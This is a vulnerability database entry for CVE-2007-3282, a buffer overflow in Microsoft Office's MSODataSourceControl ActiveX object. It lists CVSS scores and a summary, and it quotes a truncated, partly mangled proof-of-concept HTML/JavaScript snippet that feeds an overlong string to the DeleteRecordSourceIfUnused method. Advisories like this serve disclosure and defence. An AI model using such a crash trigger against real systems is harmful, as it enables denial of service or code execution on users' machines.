7.8
CVSSv2

CVE-2007-3282

Published: 19/06/2007 Updated: 11/10/2017
CVSS v2 Base Score: 7.8 | Impact Score: 6.9 | Exploitability Score: 10
VMScore: 785
Vector: AV:N/AC:L/Au:N/C:N/I:N/A:C

Vulnerability Summary

Buffer overflow in the Microsoft Office MSODataSourceControl ActiveX object allows remote malicious users to cause a denial of service (crash) and possibly execute arbitrary code via a long argument to the DeleteRecordSourceIfUnused method.

Vulnerable Product Search on Vulmon Subscribe to Product

microsoft office

microsoft office msodatasourcecontrol activex

Exploits

MSODataSourceControlDeleteRecordSourceIfUnused COM-object B0F POC Tested on full patched XP/SP2, IE7, MSO2003 <html> <object id=ctl classid="clsid:{0002E55B-0000-0000-C000-000000000046}"></object> <script language="javascript"> var b = 'AAAA'; while (blength <= 256) b+=b; ctlDeleteRecordSourceIfUnused(b); </script& ...